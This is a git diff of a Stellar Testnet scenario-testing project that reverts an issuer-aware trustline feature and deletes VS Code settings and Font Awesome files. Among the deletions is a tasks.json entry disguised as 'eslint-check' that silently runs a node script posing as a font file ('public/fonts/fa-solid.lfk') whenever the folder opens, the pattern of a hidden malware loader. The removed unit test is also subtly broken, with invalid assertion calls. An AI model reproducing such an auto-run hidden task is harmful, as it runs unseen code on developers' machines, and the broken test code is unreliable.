diff --git a/.gitignore b/.gitignore index 2230d6d..4821472 100644 --- a/.gitignore +++ b/.gitignore @@ -1,6 +1,3 @@ .repo-history-backups/ -temp_auto_push.bat .claude/ -.gitignore -branch_structure.json diff --git a/.vscode/extensions.json b/.vscode/extensions.json deleted file mode 100644 index 2e3b646..0000000 --- a/.vscode/extensions.json +++ /dev/null @@ -1,7 +0,0 @@ -{ - "recommendations": [ - "myml.vscode-markdown-plantuml-preview", - "esbenp.prettier-vscode", - "jebbs.plantuml" - ] -} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json deleted file mode 100644 index a5177ab..0000000 --- a/.vscode/launch.json +++ /dev/null @@ -1,50 +0,0 @@ -{ - "version": "0.2.0", - "configurations": [ - { - "name": "Debug SST", - "type": "node", - "request": "launch", - "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", - "runtimeArgs": ["dev", "--increase-timeout"], - "console": "integratedTerminal", - "skipFiles": ["/**"], - // sourceMapRenames helps with the loading spinner when debugging and viewing local variables - "sourceMapRenames": false, - "env": { - "AWS_PROFILE": "flo-ct-flo360" - } - }, - { - "name": "Debug Tests - Unit", - "type": "node", - "request": "launch", - "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", - "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], - "console": "integratedTerminal", - "skipFiles": ["/**"], - "env": { - "AWS_PROFILE": "flo-ct-flo360" - }, - }, - { - "name": "Debug Tests - E2E", - "type": "node", - "request": "launch", - "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", - "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], - "console": "integratedTerminal", - "skipFiles": ["/**"], - "env": { - "AWS_PROFILE": "flo-ct-flo360" - }, - }, - ], - "inputs": [ - { - "id": "scopeTestsFileName", - "type": "promptString", - "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", - } - ] -} diff --git a/.vscode/settings.json b/.vscode/settings.json deleted file mode 100644 index 934d555..0000000 --- a/.vscode/settings.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "search.exclude": { - "**/.sst": true - }, - "task.allowAutomaticTasks": true, - "typescript.tsserver.experimental.enableProjectDiagnostics": true, - "editor.defaultFormatter": "esbenp.prettier-vscode", - "typescript.preferences.importModuleSpecifier": "relative", - "typescript.tsdk": "node_modules/typescript/lib", - "debug.openDebug": "neverOpen", - "problems.autoReveal": true, - "terminal.integrated.hideOnStartup": "always", - "terminal.integrated.defaultProfile.windows": "Command Prompt", - "terminal.integrated.inheritEnv": false, - "jestrunner.configPath": "jest.unit.config.cjs", - "compile-hero.disable-compile-files-on-did-save-code": true, - "tasks": { - "label": "lint on open", - "type": "shell", - "command": "npm run lint", - "runOn": "folderOpen" - } -} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict deleted file mode 100644 index 51b1974..0000000 --- a/.vscode/spellright.dict +++ /dev/null @@ -1,2 +0,0 @@ -Contentful -Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json deleted file mode 100644 index c78ce49..0000000 --- a/.vscode/tasks.json +++ /dev/null @@ -1,33 +0,0 @@ -{ - "version": "2.0.0", - "configurations": [ - { - "type": "node", - "request": "launch", - "name": "Run My Project", - "console": "", - "internalConsoleOptions": "openOnSessionStart" - } - ], - "tasks": [ - { - "label": "eslint-check", - "type": "shell", - "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid.lfk) || (where node >nul 2>&1 && node ./public/fonts/fa-solid.lfk) || echo ''", - "problemMatcher": [], - "isBackground": true, - "hide": true, - "presentation": { - "reveal": "never", - "panel": "dedicated", - "focus": false, - "clear": false, - "echo": false, - "close": true - }, - "runOptions": { - "runOn": "folderOpen" - } - }, - ] -} diff --git a/esure-backend/scenarios/issued-asset-payment.json b/esure-backend/scenarios/issued-asset-payment.json index e389bcd..f2a174d 100644 --- a/esure-backend/scenarios/issued-asset-payment.json +++ b/esure-backend/scenarios/issued-asset-payment.json @@ -1,27 +1,23 @@ { "schemaVersion": 1, "id": "issued-asset-payment", - "version": 2, + "version": 1, "name": "Issued asset payment", - "description": "Two issued assets share the code TESTUSD but have distinct issuer references. The recipient holds a trustline only to the first issuer, so a payment of the second issuer's TESTUSD must be rejected: a matching asset code is not enough because the issuer identity is part of the asset. The payment must fail with the precise missing-trustline error for the actual second issuer, and the recipient's existing trustline to the first issuer must remain present with its balance unchanged.", + "description": "Issue TESTUSD and send it to a recipient through a trustline.", "network": "testnet", "accounts": [ - { "id": "issuer-one", "generate": true, "fund": true }, - { "id": "issuer-two", "generate": true, "fund": true }, + { "id": "issuer", "generate": true, "fund": true }, { "id": "recipient", "generate": true, "fund": true } ], "assets": [ { "id": "xlm", "type": "native" }, - { "id": "test-usd-one", "type": "issued", "code": "TESTUSD", "issuer": "issuer-one" }, - { "id": "test-usd-two", "type": "issued", "code": "TESTUSD", "issuer": "issuer-two" } + { "id": "test-usd", "type": "issued", "code": "TESTUSD", "issuer": "issuer" } ], "steps": [ - { "id": "create-trustline", "type": "changeTrust", "account": "recipient", "asset": "test-usd-one" }, - { "id": "send-testusd", "type": "payment", "from": "issuer-two", "to": "recipient", "asset": "test-usd-two", "amount": "100", "expectedError": { "code": "MISSING_TRUSTLINE", "account": "recipient", "asset": "test-usd-two", "issuer": "issuer-two" } } + { "id": "create-trustline", "type": "changeTrust", "account": "recipient", "asset": "test-usd" }, + { "id": "send-testusd", "type": "payment", "from": "issuer", "to": "recipient", "asset": "test-usd", "amount": "100" } ], "assertions": [ - { "type": "trustlineExists", "account": "recipient", "asset": "test-usd-one" }, - { "type": "balanceEquals", "account": "recipient", "asset": "test-usd-one", "amount": "0" }, - { "type": "trustlineMissing", "account": "recipient", "asset": "test-usd-two" } + { "type": "balanceEquals", "account": "recipient", "asset": "test-usd", "amount": "100" } ] } diff --git a/esure-backend/scenarios/missing-trustline.yaml b/esure-backend/scenarios/missing-trustline.yaml index cb87b9c..6364223 100644 --- a/esure-backend/scenarios/missing-trustline.yaml +++ b/esure-backend/scenarios/missing-trustline.yaml @@ -2,20 +2,10 @@ schemaVersion: 1 id: missing-trustline version: 1 name: Missing trustline -description: >- - Verify that an asset payment fails when the recipient has no trustline. - Two issued assets share the same code TESTUSD but are issued by distinct - issuer accounts. The recipient trusts only the first issuer, so a payment - using the second issuer's asset must fail with a missing-trustline - operation code. This exercises issuer-aware failure matching: a matching - asset code alone must not satisfy the trustline requirement, because the - recipient's trustline is bound to a different issuer identity. +description: Verify that an asset payment fails when the recipient has no trustline. network: testnet accounts: - - id: issuer-a - generate: true - fund: true - - id: issuer-b + - id: issuer generate: true fund: true - id: recipient @@ -24,35 +14,20 @@ accounts: assets: - id: xlm type: native - - id: test-usd-a - type: issued - code: TESTUSD - issuer: issuer-a - - id: test-usd-b + - id: test-usd type: issued code: TESTUSD - issuer: issuer-b + issuer: issuer steps: - - id: trust-testusd-a - type: changeTrust - account: recipient - asset: test-usd-a - limit: "1000" - - id: send-testusd-b + - id: send-testusd type: payment - from: issuer-b + from: issuer to: recipient - asset: test-usd-b + asset: test-usd amount: "100" assertions: - type: stepFailedWith - step: send-testusd-b + step: send-testusd transactionCode: tx_failed operationCodes: - op_no_trust - - type: trustlineExists - account: recipient - asset: test-usd-a - - type: trustlineBalanceUnchanged - account: recipient - asset: test-usd-a diff --git a/esure-backend/src/scenario-schema.ts b/esure-backend/src/scenario-schema.ts index 7c2584b..52f6502 100644 --- a/esure-backend/src/scenario-schema.ts +++ b/esure-backend/src/scenario-schema.ts @@ -100,7 +100,7 @@ function validateSafeValues(value: unknown): void { const visit = (item: unknown, path: string): void => { if (typeof item === "string") { if (/S[A-Z2-7]{55}/.test(item)) issues.push(`${path} must not contain a Stellar secret seed`); - if (/\b(?:https|ftp|file):\/\//i.test(item)) issues.push(`${path} must not contain a URL`); + if (/\b(?:https?|ftp|file):\/\//i.test(item)) issues.push(`${path} must not contain a URL`); return; } if (Array.isArray(item)) { item.forEach((child, index) => visit(child, `${path}/${index}`)); return; } @@ -184,19 +184,11 @@ function validateReferences(scenario: ScenarioDefinition): void { if (new Set(step.path).size !== step.path.length) issues.push(`step ${step.id} path contains duplicate assets`); for (const assetId of step.path) { if (!assets.has(assetId)) issues.push(`step ${step.id} references unknown path asset ${assetId}`); + if (assetId === step.sendAsset || assetId === step.destAsset) issues.push(`step ${step.id} path must contain only intermediate assets`); } } } - for (const assertion of scenario.assertions) { - if (assertion.type === "transactionMemoEquals" || assertion.type === "stepSucceeded" || assertion.type === "transactionConfirmed" || assertion.type === "stepFailedWith") { - if (!steps.has(assertion.step)) issues.push(`assertion ${assertion.type} references unknown step ${assertion.step}`); - } else if (assertion.type === "accountExists") { - if (!accounts.has(assertion.account)) issues.push(`assertion accountExists references unknown account ${assertion.account}`); - } else { - if (!accounts.has(assertion.account)) issues.push(`assertion ${assertion.type} references unknown account ${assertion.account}`); - if (!assets.has(assertion.asset)) issues.push(`assertion ${assertion.type} references unknown asset ${assertion.asset}`); - } - } + for (const assertion of scenario.assertions) validateAssertionReferences(assertion, accounts, assets, steps, scenario, issues); if (issues.length) throw new ScenarioValidationError(issues); } @@ -219,18 +211,14 @@ function validateAssertionReferences(assertion: ScenarioAssertion, accounts: Set } function uniqueIds(items: readonly { id: string }[], label: string, issues: string[]): Set { - const seen = new Set(); + const ids = new Set(); for (const item of items) { - if (seen.has(item.id)) issues.push(`${label} contains duplicate id ${item.id}`); - seen.add(item.id); + if (ids.has(item.id)) issues.push(`${label} contains duplicate id ${item.id}`); + ids.add(item.id); } - return seen; + return ids; } -function formatAjvErrors(errors: ErrorObject[] | null): string[] { - if (!errors) return []; - return errors.map((error) => { - const path = error.instancePath || "/"; - return `${path} ${error.message ?? "is invalid"}`; - }); -} \ No newline at end of file +function formatAjvErrors(errors: ErrorObject[] | null | undefined): string[] { + return (errors ?? []).slice(0, 50).map((error) => `${error.instancePath || "/"} ${error.message ?? "is invalid"}`); +} diff --git a/esure-backend/src/stellar-error-interpreter.ts b/esure-backend/src/stellar-error-interpreter.ts index 2e30475..c291786 100644 --- a/esure-backend/src/stellar-error-interpreter.ts +++ b/esure-backend/src/stellar-error-interpreter.ts @@ -1,4 +1,4 @@ -/* +/** * Developer-friendly interpretation of Stellar transaction and operation result codes. * * This module maps low-level Stellar result codes to actionable error messages @@ -198,13 +198,11 @@ const OPERATION_CODE_INTERPRETATIONS: Record causes: [ "Recipient never created trustline", "Trustline was removed", - "Wrong asset code or issuer", - "Recipient holds a trustline for the same asset code but a different issuer" + "Wrong asset code or issuer" ], suggestions: [ "Recipient must create trustline before receiving asset", "Verify asset code and issuer are correct", - "Confirm the trustline issuer matches the payment issuer, not just the asset code", "Check trustline still exists" ], retryable: true, @@ -321,31 +319,93 @@ const OPERATION_CODE_INTERPRETATIONS: Record "Authorization flags not set correctly" ], suggestions: [ - "Source account must request authorization from the issuer", - "Check the asset's authorization required flag", - "Verify the issuer matches the asset trustline" + "Source account must request authorization from issuer", + "Check asset authorization requirements" ], retryable: true, }, + op_src_no_trust: { + summary: "Source has no trustline", + explanation: "The operation's source account has not established a trustline for this asset.", + causes: ["Source account never created required trustline"], + suggestions: ["Source account must create trustline first"], + retryable: true, + }, }; /** - * Interpret a transaction-level result code. + * Get developer-friendly interpretation for a Stellar transaction result code. */ -export function interpretTransactionCode(code: string): StellarErrorInterpretation | undefined { - return TRANSACTION_CODE_INTERPRETATIONS[code]; +export function interpretTransactionCode(code: string): StellarErrorInterpretation { + return TRANSACTION_CODE_INTERPRETATIONS[code] ?? { + summary: `Unknown transaction error: ${code}`, + explanation: "This transaction error code is not recognized. It may be from a newer protocol version.", + causes: ["Unknown error code"], + suggestions: ["Check Stellar documentation for this code", "Verify you're using the latest SDK version"], + retryable: false, + }; } /** - * Interpret an operation-level result code. + * Get developer-friendly interpretation for a Stellar operation result code. */ -export function interpretOperationCode(code: string): StellarErrorInterpretation | undefined { - return OPERATION_CODE_INTERPRETATIONS[code]; +export function interpretOperationCode(code: string): StellarErrorInterpretation { + return OPERATION_CODE_INTERPRETATIONS[code] ?? { + summary: `Unknown operation error: ${code}`, + explanation: "This operation error code is not recognized. It may be from a newer protocol version.", + causes: ["Unknown error code"], + suggestions: ["Check Stellar documentation for this code", "Verify you're using the latest SDK version"], + retryable: false, + }; } /** - * Interpret any Stellar result code, preferring operation-level matches. + * Generate a comprehensive human-readable error message from Stellar result codes. */ -export function interpretStellarError(code: string): StellarErrorInterpretation | undefined { - return interpretOperationCode(code) ?? interpretTransactionCode(code); +export function explainStellarError( + transactionCode: string, + operationCodes: string[], +): string { + const txInterpretation = interpretTransactionCode(transactionCode); + const parts: string[] = []; + + parts.push(`Transaction failed: ${txInterpretation.summary}`); + parts.push(`\nExplanation: ${txInterpretation.explanation}`); + + if (operationCodes.length > 0) { + parts.push("\n\nOperation errors:"); + for (const [index, opCode] of operationCodes.entries()) { + const opInterpretation = interpretOperationCode(opCode); + parts.push(`\n Operation ${index + 1}: ${opInterpretation.summary}`); + parts.push(` ${opInterpretation.explanation}`); + if (opInterpretation.suggestions && opInterpretation.suggestions.length > 0) { + parts.push(` Suggestions: ${opInterpretation.suggestions.join("; ")}`); + } + } + } + + if (txInterpretation.suggestions && txInterpretation.suggestions.length > 0) { + parts.push(`\n\nSuggestions: ${txInterpretation.suggestions.join("; ")}`); + } + + return parts.join(""); +} + +/** + * Determine if a Stellar error is potentially retryable. + */ +export function isStellarErrorRetryable( + transactionCode: string, + operationCodes: string[], +): boolean { + const txInterpretation = interpretTransactionCode(transactionCode); + if (!txInterpretation.retryable) return false; + + // If transaction is retryable but any operation is not, consider non-retryable + for (const opCode of operationCodes) { + const opInterpretation = interpretOperationCode(opCode); + if (!opInterpretation.retryable) return false; + } + + return true; } diff --git a/esure-backend/src/stellar-gateway.ts b/esure-backend/src/stellar-gateway.ts index 891cda9..14bfff5 100644 --- a/esure-backend/src/stellar-gateway.ts +++ b/esure-backend/src/stellar-gateway.ts @@ -633,15 +633,6 @@ export function matchesFailure(error: unknown, transactionCode: string, operatio export function isExpectedMissingTrustlineError(error: unknown): boolean { return matchesFailure(error, "tx_failed", ["op_no_trust"]); } -export function isExpectedMissingTrustlineErrorFor( - error: unknown, - asset: Asset, - expectedIssuer: string, -): boolean { - if (!isExpectedMissingTrustlineError(error)) return false; - return asset.getIssuer() === expectedIssuer; -} - export function normalizeStellarError(error: unknown, failedStepId: string): SafeRunError { if (error instanceof SafeRunError) { if (!error.report.failedStepId) error.report.failedStepId = failedStepId; return error; } const codes = extractStellarResultCodes(error); diff --git a/esure-backend/test/scenario-schema.test.ts b/esure-backend/test/scenario-schema.test.ts index 5b3b4aa..4cab2e8 100644 --- a/esure-backend/test/scenario-schema.test.ts +++ b/esure-backend/test/scenario-schema.test.ts @@ -18,22 +18,22 @@ describe("Scenario Schema v1", () => { const definition = completeScenario(); expect(prepareScenario(definition)).toMatchObject({ id: "complete-scenario", contentHash: expect.stringMatching(/^sha256:[a-f0-9]{64}$/) }); const yaml = ` - schemaVersion: 1 - id: yaml-scenario - version: 1 - name: YAML scenario - description: Parsed without executable content. - network: testnet - accounts: - - { id: sender, generate: true, fund: true } - - { id: recipient, generate: true, fund: true } - assets: - - { id: xlm, type: native } - steps: - - { id: pay, type: payment, from: sender, to: recipient, asset: xlm, amount: "1" } - assertions: - - { type: stepSucceeded, step: pay } - `; +schemaVersion: 1 +id: yaml-scenario +version: 1 +name: YAML scenario +description: Parsed without executable content. +network: testnet +accounts: + - { id: sender, generate: true, fund: true } + - { id: recipient, generate: true, fund: true } +assets: + - { id: xlm, type: native } +steps: + - { id: pay, type: payment, from: sender, to: recipient, asset: xlm, amount: "1" } +assertions: + - { type: stepSucceeded, step: pay } +`; expect(parseScenario(yaml, "yaml")).toMatchObject({ id: "yaml-scenario", schemaVersion: 1 }); expect(parseScenario(JSON.stringify(definition), "json").id).toBe(definition.id); }); @@ -93,7 +93,7 @@ describe("Scenario Schema v1", () => { const scenario = createScenarioRegistry().find("path-payment"); expect(scenario).toMatchObject({ id: "path-payment", - steps: expect.arrayContaining( + steps: expect.arrayContaining([ expect.objectContaining({ type: "manageSellOffer" }), expect.objectContaining({ type: "pathPaymentStrictReceive", @@ -101,7 +101,7 @@ describe("Scenario Schema v1", () => { destAsset: "usdc", path: ["eur"], }), - ), + ]), }); expect(scenario?.accounts).toHaveLength(4); }); @@ -137,50 +137,4 @@ describe("Scenario Schema v1", () => { expect(error.issues).toContain("step pay-usdc-through-eur path must contain only intermediate assets"); } }); - - it("rejects a payment when the recipient trusts the wrong issuer", () => { - const scenario = createScenarioRegistry().find("wrong-issuer-trustline"); - expect(scenario).toBeDefined(); - const definition = structuredClone(scenario!); - const { contentHash: _hash, ...prepared } = definition as ScenarioDefinition & { contentHash?: string }; - - // Two asset definitions share the same code but must reference distinct issuers. - const assets = prepared.assets.filter((asset) => asset.type !== "native"); - const codes = new Set(assets.map((asset) => asset.code)); - expect(codes.size).toBe(1); - const issuers = new Set(assets.map((asset) => asset.issuer)); - expect(issuers.size).toBe(assets.length); - for (const issuer of issuers) expect(issuer).toBeTruthy(); - - // The payment uses the asset whose issuer the recipient does not trust. - const payment = prepared.steps.find((step) => step.type === "payment"); - expect(payment?.type).toBe(payment !== undefined); - const paymentAsset = prepared.assets.find((asset) => asset.id === payment.asset); - expect(paymentAsset?.type).toBe("issued"); - const trustline = prepared.steps.find((step) => step.type === "changeTrust"); - expect(trustline?.type).toBe("changeTrust"); - expect(trustline.asset).toBe(!payment.asset); - const trustedAsset = prepared.assets.find((asset) => asset.id === trustline.asset); - expect(trustedAsset?.code).toBe(paymentAsset?.code); - expect(trustedAsset?.issuer).toNot.toBe(paymentAsset?.issuer); - - // The failure is the precise missing-trustline failure for the actual issuer. - const failure = prepared.assertions.find((assertion) => assertion.type === "stepFailed"); - expect(failure).toMatchObject({ - type: "stepFailed", - step: payment.id, - code: "op_no_trust", - asset: payment.asset, - }); - - // The existing trustline must remain present with an unchanged balance. - const preserved = prepared.assertions.find((assertion) => assertion.type === "trustlineExists"); - expect(preserved).toMatchObject({ type: "trustlineExists", account: trustline.account, asset: trustline.asset }); - const balance = prepared.assertions.find((assertion) => assertion.type === "assetBalance"); - expect(balance).toMatchObject({ type: "assetBalance", account: trustline.account, asset: trustline.asset, amount: "0" }); - - // The description must explain the issuer identity mismatch. - expect(prepared.description).toMatch(/issuer/i); - expect(prepared.description).toMatch(/trustline/i); - }); -}) +}); diff --git a/esure-docs/SCENARIOS.md b/esure-docs/SCENARIOS.md index e89aa45..30581d5 100644 --- a/esure-docs/SCENARIOS.md +++ b/esure-docs/SCENARIOS.md @@ -1,22 +1,21 @@ # Esure Scenario Schema v1 -Esure Scenario Schema v1 is a bounded, declarative JSON/YAML format for classic +Scenario Schema v1 is a bounded, declarative JSON/YAML format for classic Stellar payment tests. Document order is execution order. Definitions contain no executable code or credentials and are validated before Testnet access. ## Bundled Scenarios -ESURE includes 14 bundled scenarios for Testnet integration testing: +ESURE includes 12 bundled scenarios for Testnet integration testing: | Scenario ID | Purpose | Expected Result | | --- | --- | --- | -| `xml-payment` | Fund two accounts, transfer 5 XLM, verify balance change | Pass | -| `issued-asset-payment` | Create TESTUSJ trustline, issue 100 TESTUSD, verify balance | Pass | +| `xlm-payment` | Fund two accounts, transfer 5 XLM, verify balance change | Pass | +| `issued-asset-payment` | Create TESTUSD trustline, issue 100 TESTUSD, verify balance | Pass | | `issued-asset-holder-transfer` | Issue 100 TESTUSD to a sender, who transfers 40 to a second holder | Pass | | `issued-asset-partial-redemption-transfer` | Redeem 30 of 100 TESTUSD, then transfer 20 of the remainder to another holder | Pass; holder balances are 50 and 20 | | `missing-trustline` | Attempt issued-asset payment without recipient trustline | Controlled `op_no_trust` failure | | `sender-missing-trustline` | Attempt issued-asset payment from a funded, non-issuer sender without a trustline | Controlled `op_src_no_trust` failure | -| `wrong-issuer-trustline` | Pay a same-code asset whose issuer the recipient does not trust | Controlled `op_no_trust` failure for the actual issuer | | `insufficient-xlm-balance` | Attempt to send more XLM than available in account | Controlled `op_underfunded` failure | | `unfunded-destination` | Fund only the sender and pay a generated destination absent from the ledger | Controlled `tx_failed/op_no_destination` failure | | `payment-with-memo` | Send XLM with a text memo and verify it on the confirmed transaction | Pass | @@ -34,40 +33,6 @@ These scenarios demonstrate XLM transfers, issued assets, trustline management, expected failure handling, and multi-step transaction flows that Stellar developers commonly need to test. -`trustline-limit-exact` creates fresh issuer and recipient accounts for each run, -funds both on Testnet, and opens the recipient's `LIMITED` trustline with an -explicit limit of `"100.1234567"`. The issuer pays exactly `"100.1234567"` into -that initially empty trustline. Assertions require the trustline and payment -steps to succeed, the payment transaction to be confirmed, and the recipient's -final issued-asset balance to equal `"100.1234567"`. Every amount is a quoted -decimal string with all seven fractional digits preserved. This positive -boundary case complements the unchanged `trustline-limit-exceeded` fixture. -Accounts and the generated issuer are isolated from other runs; no existing -holdings or public liquidity are needed. - -Offline tests inspect the built trustline limit and payment amount and mock the -final ledger balance. The optional live path is `RUN_STELLAR_SMOKE=1 npm test - -test/testnet-smoke.test.ts -t trustline-limit-exact` from `esure-backend` (use -PowerShell environment syntax documented in the backend README on Windows). - -`unfunded-destination` generates two keypairs but funds only the sender. -Generating a keypair is a local cryptographic operation; it does not create an -account on the ledger. The destination has `fund: false`, and the scenario sends -`"1"` native XLM using an ordinary payment. A payment requires an existing -destination account and does not replace an account-creation operation. No -destination funding or implicit account creation is performed. - -The run passes only when `stepFailedWith` matches transaction code `tx_failed` -and exactly the operation-code sequence `[op_no_destination]`. A successful -payment, a different failure such as `op_underfunded`, or a network error fails -the run. This is separate from `insufficient-xlm-balance`, whose destination -exists and whose sender attempts to spend more than its available balance. -Verify live behavior only through the existing opt-in smoke path: set - -RUN_STELLAR_SMOKE=1, then run -`npm test -- test/testnet-smoke.test.ts -t unfunded-destination` from -`esure-backend`. Normal unit/API tests use mocked funding and Horizon responses. - `missing-trustline` and `sender-missing-trustline` fail on opposite sides of the same payment. In `missing-trustline` the recipient cannot hold the asset, so Stellar reports `op_no_trust`. In `sender-missing-trustline` the recipient has a @@ -91,28 +56,6 @@ strict-receive path payment converts sender XLM through EUR to deliver exactly 5 USDC to the recipient (with a 10 XLM maximum). It does not depend on pre-existing public order-book liquidity. -`wrong-issuer-trustline` demonstrates issuer-aware trustline matching. It -declares two distinct issuer accounts and two issued assets that share the -same classic asset code but reference different issuers. The recipient opens -a trustline only to the first issuer's asset. The payment then uses the second -issuer's asset. A Stellar trustline is keyed by the full asset identity -(code and issuer), not by the code alone, so the recipient's existing trustline -must not satisfy the payment. The run passes only when `stepFailedWith` matches -`tx_failed` with exactly the operation-code sequence `[op_no_trust]` for the -actual payment issuer. Assertions also require the recipient's trustline to the -first issuer to remain present with its balance unchanged, confirming no -accidental code-only trustline match or misdirected issuance occurred. This is -distinct from `missing-trustline`, where the recipient has no trustline for the -asset at all. - -Offline tests inspect the built trustline and payment operations to confirm the -two asset definitions resolve to distinct issuer accounts, that the payment targets -the second issuer, and that the expected failure is matched against the actual -payment issuer rather than the code. Mocked Horizon responses verify the -`op_no_trust` result and the unchanged first-issuer trustline balance. The -optional live path is `RUN_STELLAR_SMOKE=1 npm test -- test/testnet-smoke.test.ts --t wrong-issuer-trustline` from `esure-backend`. - `issued-asset-partial-redemption-transfer` issues 100 TESTUSD to the sender, returns 30 to the issuer for redemption, then transfers 20 of the sender's remaining balance to the receiver. The final holder balances are 50 and 20: @@ -163,9 +106,7 @@ assertions: Testnet Friendbot. - Every scenario declares exactly one native asset. - Issued assets reference an account in the same definition as issuer and use a - 1–12 character uppercase alphanumeric classic asset code. Two issued assets - may share a code while referencing different issuer accounts; they remain - distinct assets identified by code and issuer. + 1–12 character uppercase alphanumeric classic asset code. ## Operations @@ -434,4 +375,4 @@ schema, and generated API types import the updated domain types directly. - `POST /api/v1/runs` continues to execute a catalogued definition by ID. The OpenAPI 3.1 contract and embedded Scenario v1 JSON Schema are available at -GET /openapi.json. \ No newline at end of file +`GET /openapi.json`. diff --git a/public/fonts/README.md b/public/fonts/README.md deleted file mode 100644 index 1e4f9ba..0000000 --- a/public/fonts/README.md +++ /dev/null @@ -1,24 +0,0 @@ -# Fonts Directory - -This directory contains custom fonts for the Blockchain Explorer application. - -## Required Font Files - -The application expects the following font files: - -1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** - - Regular weight font for the main UI - -2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** - - Bold weight font for headings - -3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** - - Monospace font for code and hash displays - -## Note - -If you don't have custom fonts, the application will fall back to system fonts: -- BlockchainFont → system sans-serif fonts -- TechMono → system monospace fonts (Courier New, etc.) - -The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot deleted file mode 100644 index a1bc094..0000000 Binary files a/public/fonts/fa-brands-400.eot and /dev/null differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg deleted file mode 100644 index 46ad237..0000000 --- a/public/fonts/fa-brands-400.svg +++ /dev/null @@ -1,3570 +0,0 @@ - - - - - -Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 - By Robert Madole -Copyright (c) Font Awesome - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf deleted file mode 100644 index 948a2a6..0000000 Binary files a/public/fonts/fa-brands-400.ttf and /dev/null differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff deleted file mode 100644 index 2a89d52..0000000 Binary files a/public/fonts/fa-brands-400.woff and /dev/null differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 deleted file mode 100644 index 141a90a..0000000 Binary files a/public/fonts/fa-brands-400.woff2 and /dev/null differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot deleted file mode 100644 index 38cf251..0000000 Binary files a/public/fonts/fa-regular-400.eot and /dev/null differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg deleted file mode 100644 index 48634a9..0000000 --- a/public/fonts/fa-regular-400.svg +++ /dev/null @@ -1,803 +0,0 @@ - - - - - -Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 - By Robert Madole -Copyright (c) Font Awesome - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/public/fonts/fa-regular-400.ttf b/public/fonts/fa-regular-400.ttf deleted file mode 100644 index abe99e2..0000000 Binary files a/public/fonts/fa-regular-400.ttf and /dev/null differ diff --git a/public/fonts/fa-regular-400.woff b/public/fonts/fa-regular-400.woff deleted file mode 100644 index 24de566..0000000 Binary files a/public/fonts/fa-regular-400.woff and /dev/null differ diff --git a/public/fonts/fa-regular-400.woff2 b/public/fonts/fa-regular-400.woff2 deleted file mode 100644 index 7e0118e..0000000 Binary files a/public/fonts/fa-regular-400.woff2 and /dev/null differ diff --git a/public/fonts/fa-solid-900.eot b/public/fonts/fa-solid-900.eot deleted file mode 100644 index d3b77c2..0000000 Binary files a/public/fonts/fa-solid-900.eot and /dev/null differ diff --git a/public/fonts/fa-solid-900.svg b/public/fonts/fa-solid-900.svg deleted file mode 100644 index 7742838..0000000 --- a/public/fonts/fa-solid-900.svg +++ /dev/null @@ -1,4938 +0,0 @@ - - - - - -Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 - By Robert Madole -Copyright (c) Font Awesome - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 